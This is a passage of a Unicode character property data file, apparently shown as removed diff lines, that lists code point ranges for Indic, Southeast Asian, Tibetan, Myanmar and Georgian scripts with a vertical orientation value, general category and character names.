DEVANAGARI SIGN VISARGA -0904..0939 ; R # Lo [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA -093A ; R # Mn DEVANAGARI VOWEL SIGN OE -093B ; R # Mc DEVANAGARI VOWEL SIGN OOE -093C ; R # Mn DEVANAGARI SIGN NUKTA -093D ; R # Lo DEVANAGARI SIGN AVAGRAHA -093E..0940 ; R # Mc [3] DEVANAGARI VOWEL SIGN AA..DEVANAGARI VOWEL SIGN II -0941..0948 ; R # Mn [8] DEVANAGARI VOWEL SIGN U..DEVANAGARI VOWEL SIGN AI -0949..094C ; R # Mc [4] DEVANAGARI VOWEL SIGN CANDRA O..DEVANAGARI VOWEL SIGN AU -094D ; R # Mn DEVANAGARI SIGN VIRAMA -094E..094F ; R # Mc [2] DEVANAGARI VOWEL SIGN PRISHTHAMATRA E..DEVANAGARI VOWEL SIGN AW -0950 ; R # Lo DEVANAGARI OM -0951..0957 ; R # Mn [7] DEVANAGARI STRESS SIGN UDATTA..DEVANAGARI VOWEL SIGN UUE -0958..0961 ; R # Lo [10] DEVANAGARI LETTER QA..DEVANAGARI LETTER VOCALIC LL -0962..0963 ; R # Mn [2] DEVANAGARI VOWEL SIGN VOCALIC L..DEVANAGARI VOWEL SIGN VOCALIC LL -0964..0965 ; R # Po [2] DEVANAGARI DANDA..DEVANAGARI DOUBLE DANDA -0966..096F ; R # Nd [10] DEVANAGARI DIGIT ZERO..DEVANAGARI DIGIT NINE -0970 ; R # Po DEVANAGARI ABBREVIATION SIGN -0971 ; R # Lm DEVANAGARI SIGN HIGH SPACING DOT -0972..097F ; R # Lo [14] DEVANAGARI LETTER CANDRA A..DEVANAGARI LETTER BBA -0980 ; R # Lo BENGALI ANJI -0981 ; R # Mn BENGALI SIGN CANDRABINDU -0982..0983 ; R # Mc [2] BENGALI SIGN ANUSVARA..BENGALI SIGN VISARGA -0985..098C ; R # Lo [8] BENGALI LETTER A..BENGALI LETTER VOCALIC L -098F..0990 ; R # Lo [2] BENGALI LETTER E..BENGALI LETTER AI -0993..09A8 ; R # Lo [22] BENGALI LETTER O..BENGALI LETTER NA -09AA..09B0 ; R # Lo [7] BENGALI LETTER PA..BENGALI LETTER RA -09B2 ; R # Lo BENGALI LETTER LA -09B6..09B9 ; R # Lo [4] BENGALI LETTER SHA..BENGALI LETTER HA -09BC ; R # Mn BENGALI SIGN NUKTA -09BD ; R # Lo BENGALI SIGN AVAGRAHA -09BE..09C0 ; R # Mc [3] BENGALI VOWEL SIGN AA..BENGALI VOWEL SIGN II -09C1..09C4 ; R # Mn [4] BENGALI VOWEL SIGN U..BENGALI VOWEL SIGN VOCALIC RR -09C7..09C8 ; R # Mc [2] BENGALI VOWEL SIGN E..BENGALI VOWEL SIGN AI -09CB..09CC ; R # Mc [2] BENGALI VOWEL SIGN O..BENGALI VOWEL SIGN AU -09CD ; R # Mn BENGALI SIGN VIRAMA -09CE ; R # Lo BENGALI LETTER KHANDA TA -09D7 ; R # Mc BENGALI AU LENGTH MARK -09DC..09DD ; R # Lo [2] BENGALI LETTER RRA..BENGALI LETTER RHA -09DF..09E1 ; R # Lo [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL -09E2..09E3 ; R # Mn [2] BENGALI VOWEL SIGN VOCALIC L..BENGALI VOWEL SIGN VOCALIC LL -09E6..09EF ; R # Nd [10] BENGALI DIGIT ZERO..BENGALI DIGIT NINE -09F0..09F1 ; R # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09F2..09F3 ; R # Sc [2] BENGALI RUPEE MARK..BENGALI RUPEE SIGN -09F4..09F9 ; R # No [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN -09FA ; R # So BENGALI ISSHAR -09FB ; R # Sc BENGALI GANDA MARK -09FC ; R # Lo BENGALI LETTER VEDIC ANUSVARA -09FD ; R # Po BENGALI ABBREVIATION SIGN -0A01..0A02 ; R # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI -0A03 ; R # Mc GURMUKHI SIGN VISARGA -0A05..0A0A ; R # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU -0A0F..0A10 ; R # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI -0A13..0A28 ; R # Lo [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA -0A2A..0A30 ; R # Lo [7] GURMUKHI LETTER PA..GURMUKHI LETTER RA -0A32..0A33 ; R # Lo [2] GURMUKHI LETTER LA..GURMUKHI LETTER LLA -0A35..0A36 ; R # Lo [2] GURMUKHI LETTER VA..GURMUKHI LETTER SHA -0A38..0A39 ; R # Lo [2] GURMUKHI LETTER SA..GURMUKHI LETTER HA -0A3C ; R # Mn GURMUKHI SIGN NUKTA -0A3E..0A40 ; R # Mc [3] GURMUKHI VOWEL SIGN AA..GURMUKHI VOWEL SIGN II -0A41..0A42 ; R # Mn [2] GURMUKHI VOWEL SIGN U..GURMUKHI VOWEL SIGN UU -0A47..0A48 ; R # Mn [2] GURMUKHI VOWEL SIGN EE..GURMUKHI VOWEL SIGN AI -0A4B..0A4D ; R # Mn [3] GURMUKHI VOWEL SIGN OO..GURMUKHI SIGN VIRAMA -0A51 ; R # Mn GURMUKHI SIGN UDAAT -0A59..0A5C ; R # Lo [4] GURMUKHI LETTER KHHA..GURMUKHI LETTER RRA -0A5E ; R # Lo GURMUKHI LETTER FA -0A66..0A6F ; R # Nd [10] GURMUKHI DIGIT ZERO..GURMUKHI DIGIT NINE -0A70..0A71 ; R # Mn [2] GURMUKHI TIPPI..GURMUKHI ADDAK -0A72..0A74 ; R # Lo [3] GURMUKHI IRI..GURMUKHI EK ONKAR -0A75 ; R # Mn GURMUKHI SIGN YAKASH -0A81..0A82 ; R # Mn [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA -0A83 ; R # Mc GUJARATI SIGN VISARGA -0A85..0A8D ; R # Lo [9] GUJARATI LETTER A..GUJARATI VOWEL CANDRA E -0A8F..0A91 ; R # Lo [3] GUJARATI LETTER E..GUJARATI VOWEL CANDRA O -0A93..0AA8 ; R # Lo [22] GUJARATI LETTER O..GUJARATI LETTER NA -0AAA..0AB0 ; R # Lo [7] GUJARATI LETTER PA..GUJARATI LETTER RA -0AB2..0AB3 ; R # Lo [2] GUJARATI LETTER LA..GUJARATI LETTER LLA -0AB5..0AB9 ; R # Lo [5] GUJARATI LETTER VA..GUJARATI LETTER HA -0ABC ; R # Mn GUJARATI SIGN NUKTA -0ABD ; R # Lo GUJARATI SIGN AVAGRAHA -0ABE..0AC0 ; R # Mc [3] GUJARATI VOWEL SIGN AA..GUJARATI VOWEL SIGN II -0AC1..0AC5 ; R # Mn [5] GUJARATI VOWEL SIGN U..GUJARATI VOWEL SIGN CANDRA E -0AC7..0AC8 ; R # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI -0AC9 ; R # Mc GUJARATI VOWEL SIGN CANDRA O -0ACB..0ACC ; R # Mc [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU -0ACD ; R # Mn GUJARATI SIGN VIRAMA -0AD0 ; R # Lo GUJARATI OM -0AE0..0AE1 ; R # Lo [2] GUJARATI LETTER VOCALIC RR..GUJARATI LETTER VOCALIC LL -0AE2..0AE3 ; R # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AE6..0AEF ; R # Nd [10] GUJARATI DIGIT ZERO..GUJARATI DIGIT NINE -0AF0 ; R # Po GUJARATI ABBREVIATION SIGN -0AF1 ; R # Sc GUJARATI RUPEE SIGN -0AF9 ; R # Lo GUJARATI LETTER ZHA -0AFA..0AFF ; R # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE -0B01 ; R # Mn ORIYA SIGN CANDRABINDU -0B02..0B03 ; R # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA -0B05..0B0C ; R # Lo [8] ORIYA LETTER A..ORIYA LETTER VOCALIC L -0B0F..0B10 ; R # Lo [2] ORIYA LETTER E..ORIYA LETTER AI -0B13..0B28 ; R # Lo [22] ORIYA LETTER O..ORIYA LETTER NA -0B2A..0B30 ; R # Lo [7] ORIYA LETTER PA..ORIYA LETTER RA -0B32..0B33 ; R # Lo [2] ORIYA LETTER LA..ORIYA LETTER LLA -0B35..0B39 ; R # Lo [5] ORIYA LETTER VA..ORIYA LETTER HA -0B3C ; R # Mn ORIYA SIGN NUKTA -0B3D ; R # Lo ORIYA SIGN AVAGRAHA -0B3E ; R # Mc ORIYA VOWEL SIGN AA -0B3F ; R # Mn ORIYA VOWEL SIGN I -0B40 ; R # Mc ORIYA VOWEL SIGN II -0B41..0B44 ; R # Mn [4] ORIYA VOWEL SIGN U..ORIYA VOWEL SIGN VOCALIC RR -0B47..0B48 ; R # Mc [2] ORIYA VOWEL SIGN E..ORIYA VOWEL SIGN AI -0B4B..0B4C ; R # Mc [2] ORIYA VOWEL SIGN O..ORIYA VOWEL SIGN AU -0B4D ; R # Mn ORIYA SIGN VIRAMA -0B56 ; R # Mn ORIYA AI LENGTH MARK -0B57 ; R # Mc ORIYA AU LENGTH MARK -0B5C..0B5D ; R # Lo [2] ORIYA LETTER RRA..ORIYA LETTER RHA -0B5F..0B61 ; R # Lo [3] ORIYA LETTER YYA..ORIYA LETTER VOCALIC LL -0B62..0B63 ; R # Mn [2] ORIYA VOWEL SIGN VOCALIC L..ORIYA VOWEL SIGN VOCALIC LL -0B66..0B6F ; R # Nd [10] ORIYA DIGIT ZERO..ORIYA DIGIT NINE -0B70 ; R # So ORIYA ISSHAR -0B71 ; R # Lo ORIYA LETTER WA -0B72..0B77 ; R # No [6] ORIYA FRACTION ONE QUARTER..ORIYA FRACTION THREE SIXTEENTHS -0B82 ; R # Mn TAMIL SIGN ANUSVARA -0B83 ; R # Lo TAMIL SIGN VISARGA -0B85..0B8A ; R # Lo [6] TAMIL LETTER A..TAMIL LETTER UU -0B8E..0B90 ; R # Lo [3] TAMIL LETTER E..TAMIL LETTER AI -0B92..0B95 ; R # Lo [4] TAMIL LETTER O..TAMIL LETTER KA -0B99..0B9A ; R # Lo [2] TAMIL LETTER NGA..TAMIL LETTER CA -0B9C ; R # Lo TAMIL LETTER JA -0B9E..0B9F ; R # Lo [2] TAMIL LETTER NYA..TAMIL LETTER TTA -0BA3..0BA4 ; R # Lo [2] TAMIL LETTER NNA..TAMIL LETTER TA -0BA8..0BAA ; R # Lo [3] TAMIL LETTER NA..TAMIL LETTER PA -0BAE..0BB9 ; R # Lo [12] TAMIL LETTER MA..TAMIL LETTER HA -0BBE..0BBF ; R # Mc [2] TAMIL VOWEL SIGN AA..TAMIL VOWEL SIGN I -0BC0 ; R # Mn TAMIL VOWEL SIGN II -0BC1..0BC2 ; R # Mc [2] TAMIL VOWEL SIGN U..TAMIL VOWEL SIGN UU -0BC6..0BC8 ; R # Mc [3] TAMIL VOWEL SIGN E..TAMIL VOWEL SIGN AI -0BCA..0BCC ; R # Mc [3] TAMIL VOWEL SIGN O..TAMIL VOWEL SIGN AU -0BCD ; R # Mn TAMIL SIGN VIRAMA -0BD0 ; R # Lo TAMIL OM -0BD7 ; R # Mc TAMIL AU LENGTH MARK -0BE6..0BEF ; R # Nd [10] TAMIL DIGIT ZERO..TAMIL DIGIT NINE -0BF0..0BF2 ; R # No [3] TAMIL NUMBER TEN..TAMIL NUMBER ONE THOUSAND -0BF3..0BF8 ; R # So [6] TAMIL DAY SIGN..TAMIL AS ABOVE SIGN -0BF9 ; R # Sc TAMIL RUPEE SIGN -0BFA ; R # So TAMIL NUMBER SIGN -0C00 ; R # Mn TELUGU SIGN COMBINING CANDRABINDU ABOVE -0C01..0C03 ; R # Mc [3] TELUGU SIGN CANDRABINDU..TELUGU SIGN VISARGA -0C05..0C0C ; R # Lo [8] TELUGU LETTER A..TELUGU LETTER VOCALIC L -0C0E..0C10 ; R # Lo [3] TELUGU LETTER E..TELUGU LETTER AI -0C12..0C28 ; R # Lo [23] TELUGU LETTER O..TELUGU LETTER NA -0C2A..0C39 ; R # Lo [16] TELUGU LETTER PA..TELUGU LETTER HA -0C3D ; R # Lo TELUGU SIGN AVAGRAHA -0C3E..0C40 ; R # Mn [3] TELUGU VOWEL SIGN AA..TELUGU VOWEL SIGN II -0C41..0C44 ; R # Mc [4] TELUGU VOWEL SIGN U..TELUGU VOWEL SIGN VOCALIC RR -0C46..0C48 ; R # Mn [3] TELUGU VOWEL SIGN E..TELUGU VOWEL SIGN AI -0C4A..0C4D ; R # Mn [4] TELUGU VOWEL SIGN O..TELUGU SIGN VIRAMA -0C55..0C56 ; R # Mn [2] TELUGU LENGTH MARK..TELUGU AI LENGTH MARK -0C58..0C5A ; R # Lo [3] TELUGU LETTER TSA..TELUGU LETTER RRRA -0C60..0C61 ; R # Lo [2] TELUGU LETTER VOCALIC RR..TELUGU LETTER VOCALIC LL -0C62..0C63 ; R # Mn [2] TELUGU VOWEL SIGN VOCALIC L..TELUGU VOWEL SIGN VOCALIC LL -0C66..0C6F ; R # Nd [10] TELUGU DIGIT ZERO..TELUGU DIGIT NINE -0C78..0C7E ; R # No [7] TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR..TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR -0C7F ; R # So TELUGU SIGN TUUMU -0C80 ; R # Lo KANNADA SIGN SPACING CANDRABINDU -0C81 ; R # Mn KANNADA SIGN CANDRABINDU -0C82..0C83 ; R # Mc [2] KANNADA SIGN ANUSVARA..KANNADA SIGN VISARGA -0C85..0C8C ; R # Lo [8] KANNADA LETTER A..KANNADA LETTER VOCALIC L -0C8E..0C90 ; R # Lo [3] KANNADA LETTER E..KANNADA LETTER AI -0C92..0CA8 ; R # Lo [23] KANNADA LETTER O..KANNADA LETTER NA -0CAA..0CB3 ; R # Lo [10] KANNADA LETTER PA..KANNADA LETTER LLA -0CB5..0CB9 ; R # Lo [5] KANNADA LETTER VA..KANNADA LETTER HA -0CBC ; R # Mn KANNADA SIGN NUKTA -0CBD ; R # Lo KANNADA SIGN AVAGRAHA -0CBE ; R # Mc KANNADA VOWEL SIGN AA -0CBF ; R # Mn KANNADA VOWEL SIGN I -0CC0..0CC4 ; R # Mc [5] KANNADA VOWEL SIGN II..KANNADA VOWEL SIGN VOCALIC RR -0CC6 ; R # Mn KANNADA VOWEL SIGN E -0CC7..0CC8 ; R # Mc [2] KANNADA VOWEL SIGN EE..KANNADA VOWEL SIGN AI -0CCA..0CCB ; R # Mc [2] KANNADA VOWEL SIGN O..KANNADA VOWEL SIGN OO -0CCC..0CCD ; R # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA -0CD5..0CD6 ; R # Mc [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK -0CDE ; R # Lo KANNADA LETTER FA -0CE0..0CE1 ; R # Lo [2] KANNADA LETTER VOCALIC RR..KANNADA LETTER VOCALIC LL -0CE2..0CE3 ; R # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0CE6..0CEF ; R # Nd [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE -0CF1..0CF2 ; R # Lo [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA -0D00..0D01 ; R # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU -0D02..0D03 ; R # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA -0D05..0D0C ; R # Lo [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L -0D0E..0D10 ; R # Lo [3] MALAYALAM LETTER E..MALAYALAM LETTER AI -0D12..0D3A ; R # Lo [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA -0D3B..0D3C ; R # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA -0D3D ; R # Lo MALAYALAM SIGN AVAGRAHA -0D3E..0D40 ; R # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II -0D41..0D44 ; R # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR -0D46..0D48 ; R # Mc [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI -0D4A..0D4C ; R # Mc [3] MALAYALAM VOWEL SIGN O..MALAYALAM VOWEL SIGN AU -0D4D ; R # Mn MALAYALAM SIGN VIRAMA -0D4E ; R # Lo MALAYALAM LETTER DOT REPH -0D4F ; R # So MALAYALAM SIGN PARA -0D54..0D56 ; R # Lo [3] MALAYALAM LETTER CHILLU M..MALAYALAM LETTER CHILLU LLL -0D57 ; R # Mc MALAYALAM AU LENGTH MARK -0D58..0D5E ; R # No [7] MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH..MALAYALAM FRACTION ONE FIFTH -0D5F..0D61 ; R # Lo [3] MALAYALAM LETTER ARCHAIC II..MALAYALAM LETTER VOCALIC LL -0D62..0D63 ; R # Mn [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL -0D66..0D6F ; R # Nd [10] MALAYALAM DIGIT ZERO..MALAYALAM DIGIT NINE -0D70..0D78 ; R # No [9] MALAYALAM NUMBER TEN..MALAYALAM FRACTION THREE SIXTEENTHS -0D79 ; R # So MALAYALAM DATE MARK -0D7A..0D7F ; R # Lo [6] MALAYALAM LETTER CHILLU NN..MALAYALAM LETTER CHILLU K -0D82..0D83 ; R # Mc [2] SINHALA SIGN ANUSVARAYA..SINHALA SIGN VISARGAYA -0D85..0D96 ; R # Lo [18] SINHALA LETTER AYANNA..SINHALA LETTER AUYANNA -0D9A..0DB1 ; R # Lo [24] SINHALA LETTER ALPAPRAANA KAYANNA..SINHALA LETTER DANTAJA NAYANNA -0DB3..0DBB ; R # Lo [9] SINHALA LETTER SANYAKA DAYANNA..SINHALA LETTER RAYANNA -0DBD ; R # Lo SINHALA LETTER DANTAJA LAYANNA -0DC0..0DC6 ; R # Lo [7] SINHALA LETTER VAYANNA..SINHALA LETTER FAYANNA -0DCA ; R # Mn SINHALA SIGN AL-LAKUNA -0DCF..0DD1 ; R # Mc [3] SINHALA VOWEL SIGN AELA-PILLA..SINHALA VOWEL SIGN DIGA AEDA-PILLA -0DD2..0DD4 ; R # Mn [3] SINHALA VOWEL SIGN KETTI IS-PILLA..SINHALA VOWEL SIGN KETTI PAA-PILLA -0DD6 ; R # Mn SINHALA VOWEL SIGN DIGA PAA-PILLA -0DD8..0DDF ; R # Mc [8] SINHALA VOWEL SIGN GAETTA-PILLA..SINHALA VOWEL SIGN GAYANUKITTA -0DE6..0DEF ; R # Nd [10] SINHALA LITH DIGIT ZERO..SINHALA LITH DIGIT NINE -0DF2..0DF3 ; R # Mc [2] SINHALA VOWEL SIGN DIGA GAETTA-PILLA..SINHALA VOWEL SIGN DIGA GAYANUKITTA -0DF4 ; R # Po SINHALA PUNCTUATION KUNDDALIYA -0E01..0E30 ; R # Lo [48] THAI CHARACTER KO KAI..THAI CHARACTER SARA A -0E31 ; R # Mn THAI CHARACTER MAI HAN-AKAT -0E32..0E33 ; R # Lo [2] THAI CHARACTER SARA AA..THAI CHARACTER SARA AM -0E34..0E3A ; R # Mn [7] THAI CHARACTER SARA I..THAI CHARACTER PHINTHU -0E3F ; R # Sc THAI CURRENCY SYMBOL BAHT -0E40..0E45 ; R # Lo [6] THAI CHARACTER SARA E..THAI CHARACTER LAKKHANGYAO -0E46 ; R # Lm THAI CHARACTER MAIYAMOK -0E47..0E4E ; R # Mn [8] THAI CHARACTER MAITAIKHU..THAI CHARACTER YAMAKKAN -0E4F ; R # Po THAI CHARACTER FONGMAN -0E50..0E59 ; R # Nd [10] THAI DIGIT ZERO..THAI DIGIT NINE -0E5A..0E5B ; R # Po [2] THAI CHARACTER ANGKHANKHU..THAI CHARACTER KHOMUT -0E81..0E82 ; R # Lo [2] LAO LETTER KO..LAO LETTER KHO SUNG -0E84 ; R # Lo LAO LETTER KHO TAM -0E87..0E88 ; R # Lo [2] LAO LETTER NGO..LAO LETTER CO -0E8A ; R # Lo LAO LETTER SO TAM -0E8D ; R # Lo LAO LETTER NYO -0E94..0E97 ; R # Lo [4] LAO LETTER DO..LAO LETTER THO TAM -0E99..0E9F ; R # Lo [7] LAO LETTER NO..LAO LETTER FO SUNG -0EA1..0EA3 ; R # Lo [3] LAO LETTER MO..LAO LETTER LO LING -0EA5 ; R # Lo LAO LETTER LO LOOT -0EA7 ; R # Lo LAO LETTER WO -0EAA..0EAB ; R # Lo [2] LAO LETTER SO SUNG..LAO LETTER HO SUNG -0EAD..0EB0 ; R # Lo [4] LAO LETTER O..LAO VOWEL SIGN A -0EB1 ; R # Mn LAO VOWEL SIGN MAI KAN -0EB2..0EB3 ; R # Lo [2] LAO VOWEL SIGN AA..LAO VOWEL SIGN AM -0EB4..0EB9 ; R # Mn [6] LAO VOWEL SIGN I..LAO VOWEL SIGN UU -0EBB..0EBC ; R # Mn [2] LAO VOWEL SIGN MAI KON..LAO SEMIVOWEL SIGN LO -0EBD ; R # Lo LAO SEMIVOWEL SIGN NYO -0EC0..0EC4 ; R # Lo [5] LAO VOWEL SIGN E..LAO VOWEL SIGN AI -0EC6 ; R # Lm LAO KO LA -0EC8..0ECD ; R # Mn [6] LAO TONE MAI EK..LAO NIGGAHITA -0ED0..0ED9 ; R # Nd [10] LAO DIGIT ZERO..LAO DIGIT NINE -0EDC..0EDF ; R # Lo [4] LAO HO NO..LAO LETTER KHMU NYO -0F00 ; R # Lo TIBETAN SYLLABLE OM -0F01..0F03 ; R # So [3] TIBETAN MARK GTER YIG MGO TRUNCATED A..TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA -0F04..0F12 ; R # Po [15] TIBETAN MARK INITIAL YIG MGO MDUN MA..TIBETAN MARK RGYA GRAM SHAD -0F13 ; R # So TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN -0F14 ; R # Po TIBETAN MARK GTER TSHEG -0F15..0F17 ; R # So [3] TIBETAN LOGOTYPE SIGN CHAD RTAGS..TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS -0F18..0F19 ; R # Mn [2] TIBETAN ASTROLOGICAL SIGN -KHYUD PA..TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS -0F1A..0F1F ; R # So [6] TIBETAN SIGN RDEL DKAR GCIG..TIBETAN SIGN RDEL DKAR RDEL NAG -0F20..0F29 ; R # Nd [10] TIBETAN DIGIT ZERO..TIBETAN DIGIT NINE -0F2A..0F33 ; R # No [10] TIBETAN DIGIT HALF ONE..TIBETAN DIGIT HALF ZERO -0F34 ; R # So TIBETAN MARK BSDUS RTAGS -0F35 ; R # Mn TIBETAN MARK NGAS BZUNG NYI ZLA -0F36 ; R # So TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN -0F37 ; R # Mn TIBETAN MARK NGAS BZUNG SGOR RTAGS -0F38 ; R # So TIBETAN MARK CHE MGO -0F39 ; R # Mn TIBETAN MARK TSA -PHRU -0F3A ; R # Ps TIBETAN MARK GUG RTAGS GYON -0F3B ; R # Pe TIBETAN MARK GUG RTAGS GYAS -0F3C ; R # Ps TIBETAN MARK ANG KHANG GYON -0F3D ; R # Pe TIBETAN MARK ANG KHANG GYAS -0F3E..0F3F ; R # Mc [2] TIBETAN SIGN YAR TSHES..TIBETAN SIGN MAR TSHES -0F40..0F47 ; R # Lo [8] TIBETAN LETTER KA..TIBETAN LETTER JA -0F49..0F6C ; R # Lo [36] TIBETAN LETTER NYA..TIBETAN LETTER RRA -0F71..0F7E ; R # Mn [14] TIBETAN VOWEL SIGN AA..TIBETAN SIGN RJES SU NGA RO -0F7F ; R # Mc TIBETAN SIGN RNAM BCAD -0F80..0F84 ; R # Mn [5] TIBETAN VOWEL SIGN REVERSED I..TIBETAN MARK HALANTA -0F85 ; R # Po TIBETAN MARK PALUTA -0F86..0F87 ; R # Mn [2] TIBETAN SIGN LCI RTAGS..TIBETAN SIGN YANG RTAGS -0F88..0F8C ; R # Lo [5] TIBETAN SIGN LCE TSA CAN..TIBETAN SIGN INVERTED MCHU CAN -0F8D..0F97 ; R # Mn [11] TIBETAN SUBJOINED SIGN LCE TSA CAN..TIBETAN SUBJOINED LETTER JA -0F99..0FBC ; R # Mn [36] TIBETAN SUBJOINED LETTER NYA..TIBETAN SUBJOINED LETTER FIXED-FORM RA -0FBE..0FC5 ; R # So [8] TIBETAN KU RU KHA..TIBETAN SYMBOL RDO RJE -0FC6 ; R # Mn TIBETAN SYMBOL PADMA GDAN -0FC7..0FCC ; R # So [6] TIBETAN SYMBOL RDO RJE RGYA GRAM..TIBETAN SYMBOL NOR BU BZHI -KHYIL -0FCE..0FCF ; R # So [2] TIBETAN SIGN RDEL NAG RDEL DKAR..TIBETAN SIGN RDEL NAG GSUM -0FD0..0FD4 ; R # Po [5] TIBETAN MARK BSKA- SHOG GI MGO RGYAN..TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA -0FD5..0FD8 ; R # So [4] RIGHT-FACING SVASTI SIGN..LEFT-FACING SVASTI SIGN WITH DOTS -0FD9..0FDA ; R # Po [2] TIBETAN MARK LEADING MCHAN RTAGS..TIBETAN MARK TRAILING MCHAN RTAGS -1000..102A ; R # Lo [43] MYANMAR LETTER KA..MYANMAR LETTER AU -102B..102C ; R # Mc [2] MYANMAR VOWEL SIGN TALL AA..MYANMAR VOWEL SIGN AA -102D..1030 ; R # Mn [4] MYANMAR VOWEL SIGN I..MYANMAR VOWEL SIGN UU -1031 ; R # Mc MYANMAR VOWEL SIGN E -1032..1037 ; R # Mn [6] MYANMAR VOWEL SIGN AI..MYANMAR SIGN DOT BELOW -1038 ; R # Mc MYANMAR SIGN VISARGA -1039..103A ; R # Mn [2] MYANMAR SIGN VIRAMA..MYANMAR SIGN ASAT -103B..103C ; R # Mc [2] MYANMAR CONSONANT SIGN MEDIAL YA..MYANMAR CONSONANT SIGN MEDIAL RA -103D..103E ; R # Mn [2] MYANMAR CONSONANT SIGN MEDIAL WA..MYANMAR CONSONANT SIGN MEDIAL HA -103F ; R # Lo MYANMAR LETTER GREAT SA -1040..1049 ; R # Nd [10] MYANMAR DIGIT ZERO..MYANMAR DIGIT NINE -104A..104F ; R # Po [6] MYANMAR SIGN LITTLE SECTION..MYANMAR SYMBOL GENITIVE -1050..1055 ; R # Lo [6] MYANMAR LETTER SHA..MYANMAR LETTER VOCALIC LL -1056..1057 ; R # Mc [2] MYANMAR VOWEL SIGN VOCALIC R..MYANMAR VOWEL SIGN VOCALIC RR -1058..1059 ; R # Mn [2] MYANMAR VOWEL SIGN VOCALIC L..MYANMAR VOWEL SIGN VOCALIC LL -105A..105D ; R # Lo [4] MYANMAR LETTER MON NGA..MYANMAR LETTER MON BBE -105E..1060 ; R # Mn [3] MYANMAR CONSONANT SIGN MON MEDIAL NA..MYANMAR CONSONANT SIGN MON MEDIAL LA -1061 ; R # Lo MYANMAR LETTER SGAW KAREN SHA -1062..1064 ; R # Mc [3] MYANMAR VOWEL SIGN SGAW KAREN EU..MYANMAR TONE MARK SGAW KAREN KE PHO -1065..1066 ; R # Lo [2] MYANMAR LETTER WESTERN PWO KAREN THA..MYANMAR LETTER WESTERN PWO KAREN PWA -1067..106D ; R # Mc [7] MYANMAR VOWEL SIGN WESTERN PWO KAREN EU..MYANMAR SIGN WESTERN PWO KAREN TONE-5 -106E..1070 ; R # Lo [3] MYANMAR LETTER EASTERN PWO KAREN NNA..MYANMAR LETTER EASTERN PWO KAREN GHWA -1071..1074 ; R # Mn [4] MYANMAR VOWEL SIGN GEBA KAREN I..MYANMAR VOWEL SIGN KAYAH EE -1075..1081 ; R # Lo [13] MYANMAR LETTER SHAN KA..MYANMAR LETTER SHAN HA -1082 ; R # Mn MYANMAR CONSONANT SIGN SHAN MEDIAL WA -1083..1084 ; R # Mc [2] MYANMAR VOWEL SIGN SHAN AA..MYANMAR VOWEL SIGN SHAN E -1085..1086 ; R # Mn [2] MYANMAR VOWEL SIGN SHAN E ABOVE..MYANMAR VOWEL SIGN SHAN FINAL Y -1087..108C ; R # Mc [6] MYANMAR SIGN SHAN TONE-2..MYANMAR SIGN SHAN COUNCIL TONE-3 -108D ; R # Mn MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE -108E ; R # Lo MYANMAR LETTER RUMAI PALAUNG FA -108F ; R # Mc MYANMAR SIGN RUMAI PALAUNG TONE-5 -1090..1099 ; R # Nd [10] MYANMAR SHAN DIGIT ZERO..MYANMAR SHAN DIGIT NINE -109A..109C ; R # Mc [3] MYANMAR SIGN KHAMTI TONE-1..MYANMAR VOWEL SIGN AITON A -109D ; R # Mn MYANMAR VOWEL SIGN AITON AI -109E..109F ; R # So [2] MYANMAR SYMBOL SHAN ONE..MYANMAR SYMBOL SHAN EXCLAMATION -10A0..10C5 ; R # Lu [38] GEORGIAN CAPITAL LETTER AN..GEORGIAN CAPITAL LETTER HOE -10C7 ; R # Lu GEORGIAN CAPITAL LETTER YN -10CD ; R # Lu GEORGIAN CAPITAL LETTER AEN -10D0..10FA ; R # Lo [43] GEORGIAN LETTER AN..GEORGIAN LETTER AIN -10FB ; R # Po GEORGIAN PARAGRAPH SEPARATOR -10FC ; R # Lm MODIFIER LETTER GEORGIAN NAR -10FD..10FF ; R # Lo [3] GEORGIAN LETTER AEN..GEORGIAN LETTER LABIAL SIGN -1100..11FF ; U # Lo [256] 